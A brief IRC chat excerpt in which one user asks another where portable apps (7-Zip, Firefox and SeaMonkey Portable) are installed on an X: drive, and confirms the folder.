23:58:50 <gluxon> Okay, Where did you install 7-Zip Portable, FirefoxPortable, and SeaMonkey Portable to again?
23:59:05 <SthrnDixieCwgrl> X:\Program Files\
23:59:06 <gluxon> X:\Portable Apps, or X:\PortableApps (without the space).
23:59:27 <gluxon> Yeah, go into [X]:\Program Files\ NOT C:\Program Files.
23:59:27 <SthrnDixieCwgrl> that is where they have been since the day I installed them many months ago